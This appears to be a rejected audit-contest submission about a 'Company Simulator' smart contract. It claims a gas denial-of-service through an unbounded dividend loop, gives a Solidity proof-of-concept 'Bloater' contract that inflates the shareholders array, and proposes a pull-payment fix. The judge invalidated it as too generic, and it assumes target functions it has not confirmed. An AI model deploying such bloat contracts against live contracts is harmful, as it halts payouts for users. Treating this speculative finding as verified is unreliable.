Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Gas DoS via Unbounded for Loop in Dividend / Payout Routine

Root + Impact

Description

  • The contract iterates over a dynamic shareholders list to send payouts (dividends, rewards) in a single transaction so all shareholders are paid in one call.

  • The payout function uses an unbounded for loop over a mutable shareholders array and performs external calls inside the loop. The loop’s gas cost grows with the number of shareholders, allowing an attacker to force enough entries (or bloat the list) so that the payout transaction runs out of gas or becomes uncallable, denying payouts to everyone and effectively halting that part of the system.

// Root cause in the codebase with @> marks to highlight the relevant section
// Root cause in the codebase with @> marks to highlight the relevant section
function distributeDividends() external payable {
uint256 len = shareholders.length;
for (uint256 i = 0; i < len; i++) {
address sh = shareholders[i];
uint256 payout = profits * shares[sh] / totalShares;
if (payout > 0) {
// @> External call performed inside an unbounded loop over a dynamic array
payable(sh).transfer(payout);
// @> No gas-limit / batching / pull-mechanism — expensive operations happen inline
}
}
}

Risk

Likelihood:

  • The condition occurs when the system allows new shareholders to be added (via registration, share transfers, or other flows) without any cap on array growth, making it trivial over normal operation for the list to become large.

  • The condition occurs when any module (e.g., onboarding, share grants) is used repeatedly (by bots or a malicious actor) to inflate the shareholders array prior to a scheduled payout.

Impact:

  • A single scheduled call to distributeDividends() will exceed the block gas limit and revert, preventing payouts from being executed.

  • The inability to execute payouts can cascade to other functionality (e.g., reputation updates or stake-dependent governance), effectively stalling critical parts of the Company Simulator.

Proof of Concept

• Use bloat() many times (or via many addresses) to inflate shareholders.length to a large number.

  • Call triggerPayout() or wait for the project owner to call distributeDividends(). The distributeDividends() transaction will run out of gas (or be uncallable due to gas limits), reverting and preventing payouts.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ICompanySimulator {
function registerShareholder(address _who) external; // example function that adds to shareholders[]
function distributeDividends() external payable;
}
contract Bloater {
ICompanySimulator public target;
constructor(address _target) {
target = ICompanySimulator(_target);
}
// Call this many times (via loops / script) to bloat the shareholders array
function bloat(uint256 times) external {
for (uint256 i = 0; i < times; i++) {
// registerShareholder is presumed to push to shareholders in the target
target.registerShareholder(address(uint160(uint256(keccak256(abi.encodePacked(block.timestamp, i, msg.sender))))));
}
}
// After bloat, attempt to force a payout (or wait for owner to call). The payout will run out of gas.
function triggerPayout() external payable {
target.distributeDividends{value: msg.value}();
}
}

Recommended Mitigation

Replace push-based, single-tx payouts with a pull-payment pattern: record each shareholder’s claimable amount in storage and let each shareholder call claim() to withdraw their funds on-demand. This removes the need for an unbounded on-chain loop and external calls in a single transaction.

- remove this code
+ add this code
// Pseudocode: compute and store owed amounts, then let users pull
mapping(address => uint256) public claimable;
function accrueDividends() internal {
// compute owed per shareholder and set claimable[shareholder] += amount
// but do this in a gas-bounded manner (see batching below)
}
function claim() external {
uint256 amount = claimable[msg.sender];
claimable[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}
Updates

Lead Judging Commences

0xshaedyw Lead Judge
5 days ago
0xshaedyw Lead Judge 3 days ago
Submission Judgement Published
Invalidated
Reason: Too generic

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.